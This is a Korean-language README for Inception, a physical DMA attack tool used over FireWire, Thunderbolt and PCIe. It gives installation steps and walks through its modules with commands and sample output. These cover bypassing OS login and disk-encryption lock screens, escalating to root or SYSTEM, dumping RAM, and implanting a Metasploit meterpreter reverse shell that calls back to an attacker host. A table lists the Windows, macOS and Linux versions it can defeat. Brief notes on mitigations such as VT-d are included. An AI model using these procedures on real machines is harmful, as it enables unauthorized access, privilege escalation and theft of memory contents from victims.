
Inception은 PCI 기반 DMA를 악용하는 물리적 메모리 조작 및 해킹 도구입니다. 이 도구는 FireWire, Thunderbolt, ExpressCard, PC Card 및 기타 모든 PCI/PCIe 인터페이스를 통해 공격할 수 있습니다.
참고: 이 도구는 더 이상 활발하게 개발되지 않습니다. 대신 PCILeech를 참조하세요.
Inception은 PCI 기반 DMA를 악용하는 물리 메모리 조작 및 해킹 도구입니다. 이 도구는 FireWire, Thunderbolt, ExpressCard, PC Card 및 기타 모든 PCI/PCIe 하드웨어 인터페이스를 통해 공격할 수 있습니다.
Inception은 DMA를 사용하여 실행 중인 컴퓨터에 대해 침습적 및 비침습적 메모리 해킹을 수행할 수 있는 비교적 빠르고 안정적이며 쉽고 확장 가능한 방법을 제공하는 것을 목표로 합니다.
Inception의 모듈은 다음과 같이 작동합니다. IEEE1394 FireWire 인터페이스를 통해 피해자 머신에 SBP-2(Serial Bus Protocol 2) 유닛 디렉터리를 제시하면, 피해자 운영체제는 SBP-2 장치가 FireWire 포트에 연결되었다고 생각합니다. SBP-2 장치는 빠르고 대용량의 벌크 데이터 전송(예: FireWire 하드 드라이브, 디지털 캠코더)을 위해 DMA(직접 메모리 액세스)를 사용하므로, 피해자는 방어를 낮추고 해당 장치에 DMA를 활성화합니다. 이제 도구는 피해자의 RAM 하위 4GB에 대한 전체 읽기/쓰기 액세스 권한을 갖습니다.
DMA가 허용되면 도구는 사용 가능한 메모리 페이지에서 운영체제 코드의 특정 오프셋에 있는 시그니처를 검색합니다. 찾으면 도구는 이 코드를 조작합니다. 예를 들어 unlock 모듈에서는 잘못된 암호가 입력될 때 트리거되는 운영체제의 암호 인증 모듈을 우회합니다.
해당 모듈을 실행한 후에는 어떤 암호로든 피해자 머신에 로그인할 수 있어야 합니다.
이 작업에 대한 비유는 기계의 메모리에 아이디어, 즉 모든 암호가 올바르다는 아이디어를 심는 것입니다. 다시 말해 [메모리 인셉션] 1과 같습니다.
Inception은 무료(무상) 소프트웨어이며 제 사이드 프로젝트입니다.
전 세계의 포렌식 전문가, 정부, 그리고 세 글자 약어 기관은 이미 [유사한 도구] 2를 사용하고 있습니다. 따라서 당신이 반체제 인사이거나 억압적인 정권에 맞서고 있다면, 이 도구는 OPSEC이 왜 중요한지 보여줍니다. 노트북을 절대 시야에서 떼지 마세요.
[OS X > 10.7.2] 6 및 [Windows > 8.1] 7은 사용자가 OS를 잠그면 FireWire DMA를 비활성화하여 인셉션을 차단합니다. 사용자가 로그인되어 있는 동안에는 도구가 여전히 작동합니다. 그러나 실제 상황(IRL)에서는 덜 가능성 있는 공격 시나리오입니다.
또한 [Ivy Bridge(2012년 이후 Mac)의 OS X Mavericks > 10.8.2] 8은 VT-D를 활성화하여 사용자가 로그인한 상태에서도 DMA 요청을 효과적으로 차단하고 모든 인셉션 모듈을 무력화합니다. 로그/콘솔에서 vtd[0] fault 항목을 찾아보세요.
이 두 가지 주의사항으로 인해 이 도구가 유용한 시나리오의 수가 점차 줄어들겠지만, 2015년 3월 기준으로 [전 세계 머신의 70%는 여전히 취약합니다] 9.
이 도구는 Freddie Witherden이 제공하는 libforensic1394 라이브러리를 LGPL 라이선스로 사용합니다.
Inception에는 다음이 필요합니다:
현재 OS X의 버그가 많은 FireWire 인터페이스 때문에 공격자 측에서는 Linux를 권장합니다. Thunderbolt-to-Thunderbolt 직접 연결은 작동하지 않으며 FireWire 어댑터가 필요합니다. Linux에서 Thunderbolt를 사용하려고 할 때 결과는 다를 수 있습니다.
Debian 계열 배포판에서는 설치 명령을 다음과 같이 요약할 수 있습니다(루트가 아닌 경우 필요에 따라 sudo를 사용하세요):
apt-get install git cmake g++ python3 python3-pip
OS X에서는 [homebrew] 4로 도구 요구 사항을 설치할 수 있습니다:
brew install git cmake python3
요구 사항을 설치한 후 libforensic1394를 다운로드하여 설치하세요:
wget https://freddie.witherden.org/tools/libforensic1394/releases/libforensic1394-0.2.tar.gz -O - | tar xz
cd libforensic1394-0.2
cmake CMakeLists.txt
make install
cd python
python3 setup.py install
git clone git://github.com/carmaa/inception.git
cd inception
./setup.py install
pip이 설치되어 있으면 설정 스크립트가 종속성을 설치할 수 있습니다.
다음과 같이 입력하세요:
incept [module name]
더 완전하고 최신의 설명은 다음을 실행하세요:
incept -h
또는 [도구 홈페이지] 5를 참조하세요.
버전 0.4.0부터 Inception은 모듈화되었습니다. 현재 모듈과 그 기능은 아래에 설명되어 있습니다.
사용에 대한 자세한 옵션은 다음을 실행하세요:
incept [module name] -h
unlock 모듈은 물리적으로 접근할 수 있는 거의* 모든 전원이 켜진 머신에서 잠금을 해제(모든 암호 허용)하고 Administrator/root로 권한을 상승시킬 수 있습니다. 이 모듈은 주로 BitLocker, FileVault, TrueCrypt 또는 Pointsec과 같은 전체 디스크 암호화를 사용하는 컴퓨터를 대상으로 마법을 부리도록 설계되었습니다. 암호화를 사용하지 않는 머신을 해킹하는 다른(그리고 더 나은) 방법은 많이 있습니다.
unlock 모듈은 주 메모리가 4GiB 이하인 머신에서 안정적입니다. 대상이 그보다 더 많은 메모리를 가지고 있다면, 도구가 도달할 수 있는 물리 메모리 페이지 프레임에 매핑된 시그니처를 찾으려면 운이 필요합니다.
이 버전 기준으로 다음 x86 및 x64 운영체제의 잠금을 해제할 수 있습니다:
(1): 위의 주의사항을 참조하세요.
PAM 기반 인증을 사용하는 다른 Linux 배포판도 Ubuntu 시그니처를 사용하여 작동할 수 있습니다.
이 모듈은 또한 예를 들어 각각 runas 또는 sudo -s 명령을 통한 권한 상승을 효과적으로 가능하게 합니다.
잠금 해제하려면 다음을 입력하세요:
incept unlock
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[?] Will potentially write to file. OK? [y/N] y
[*] Available targets (known signatures):
[1] Windows 8 MsvpPasswordValidate unlock/privilege escalation
[2] Windows 7 MsvpPasswordValidate unlock/privilege escalation
[3] Windows Vista MsvpPasswordValidate unlock/privilege escalation
[4] Windows XP MsvpPasswordValidate unlock/privilege escalation
[5] Mac OS X DirectoryService/OpenDirectory unlock/privilege escalation
[6] Ubuntu libpam unlock/privilege escalation
[7] Linux Mint libpam unlock/privilege escalation
[?] Please select target (or enter 'q' to quit): 2
[*] Selected target: Windows 7 MsvpPasswordValidate unlock/privilege escalation
[=============> ] 227 MiB ( 22%)
[*] Signature found at 0xe373312 in page no. 58227
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
implant 모듈은 (메모리 전용) Metasploit 페이로드를 대상 머신의 휘발성 메모리에 직접 이식합니다. Metasploit의 모든 버전에 포함된 msfrpcd 데몬을 통해 MSF와 통합됩니다.
현재 버전은 Windows 7 SP1 x86에 대한 개념 증명으로만 작동합니다. 다른 OS, 버전 또는 아키텍처는 지원되지 않으며, 향후 지원될 것이라는 보장도 없습니다.
사용하려면 msfrpcd를 시작하세요:
msfrpcd -P [password]
그런 다음 다른 터미널에서 inception을 실행하세요:
incept implant --msfpw [password] --msfopts [options]
예를 들어 대상 머신에서 공격 호스트로의 리버스 TCP meterpreter 셸을 만들려면 먼저 msfrpcd 데몬을 시작한 다음 콜백을 수신하는 콘솔을 실행하세요.
msfrpcd -P password
msfconsole
콘솔에서 페이로드의 수신 측을 구성합니다. 문제가 발생해도 대상 프로세스가 계속 실행되도록 EXITFUNC 옵션을 thread로 설정합니다:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.1.1
set EXITFUNC thread
set ExitOnSession false
exploit -j
그런 다음 다른 터미널에서 Inception을 실행합니다:
incept implant --msfpw password --msfopts LHOST=172.16.1.1
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[?] Will potentially write to file. OK? [y/N] y
[!] This module currently only work as a proof-of-concept against Windows 7 SP1
x86. No other OSes, versions or architectures are supported, nor is there
any guarantee that they will be supported in the future.
[?] What MSF payload do you want to use? windows/meterpreter/reverse_tcp
[*] Selected options:
[*] LPORT: 4444
[*] LHOST: 172.16.1.1
[*] EXITFUNC: thread
[*] Stage 1: Searcing for injection point
[================================> ] 537 MiB ( 53%)
[*] Signature found at 0x219d118c in page no. 137681
[*] Patching at 0x219d118c
[\] Waiting to ensure stage 1 execution
[*] Restoring memory at initial injection point
[*] Stage 2: Searching for page allocated in stage 1
[=========================> ] 434 MiB ( 42%)
[*] Signature found at 0x1b2d9000 in page no. 111321
[*] Patching at 0x1b2d9000
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
MSF 콘솔에서 다음과 유사한 출력이 표시되어야 합니다:
msf exploit(handler) > [*] Sending stage (769536 bytes) to 172.16.78.200
[*] Meterpreter session 1 opened (172.16.1.1:4444 -> 172.16.78.200:49178) at 2014-08-30 16:23:31 +0200
msf exploit(handler) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ WIN-11FMQRBAMJ6 172.16.1.1:4444 -> 172.16.78.200:49178 (172.16.78.200)
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
dump 모듈은 대상에서 공격 호스트로 메모리를 덤프하는 기능을 제공합니다.
incept dump
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[*] Dumping from 0x0 to 0x40000000, a total of 1 GiB:
[==============================================================] 1024 MiB (100%)
[*] Dumped memory to file memdump_0x0-0x40000000_20140830-174305.bin
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
상단의 주석과 [도구 홈페이지] 5를 참조하세요.
[도구 홈페이지] 5를 참조하세요.
이 도구로 악한 일을 하지 마세요. 또한 저는 개발자가 아니라 침투 테스터입니다. 따라서 파이썬스러운 순수함 감각을 자극하는 이상한 코드를 발견하면 개선 방법을 알려주세요. 더 나은 방법으로는 제 코드를 포크하여 수정하고 풀 리퀘스트를 보내주세요.
| 운영체제 | 버전 | 잠금 화면 잠금 해제 | 권한 상승 |
|---|
| Windows 8 | 8.1 | 예 (1) | 예 (1) |
| Windows 8 | 8.0 | 예 | 예 |
| Windows 7 | SP1 | 예 | 예 |
| Windows 7 | SP0 | 예 | 예 |
| Windows Vista | SP2 | 예 | 예 |
| Windows Vista | SP1 | 예 | 예 |
| Windows Vista | SP0 | 예 | 예 |
| Windows XP | SP3 | 예 | 예 |
| Windows XP | SP2 | 예 | 예 |
| Windows XP | SP1 | ||
| Windows XP | SP0 | ||
| Mac OS X | Mavericks | 예 (1) | 예 (1) |
| Mac OS X | Mountain Lion | 예 (1) | 예 (1) |
| Mac OS X | Lion | 예 (1) | 예 (1) |
| Mac OS X | Snow Leopard | 예 | 예 |
| Mac OS X | Leopard | ||
| Ubuntu | Saucy | 예 | 예 |
| Ubuntu | Raring | 예 | 예 |
| Ubuntu | Quantal | 예 | 예 |
| Ubuntu | Precise | 예 | 예 |
| Ubuntu | Oneiric | 예 | 예 |
| Ubuntu | Natty | 예 | 예 |
| Linux Mint | 13 | 예 | 예 |
| Linux Mint | 12 | 예 | 예 |
| Linux Mint | 12 | 예 | 예 |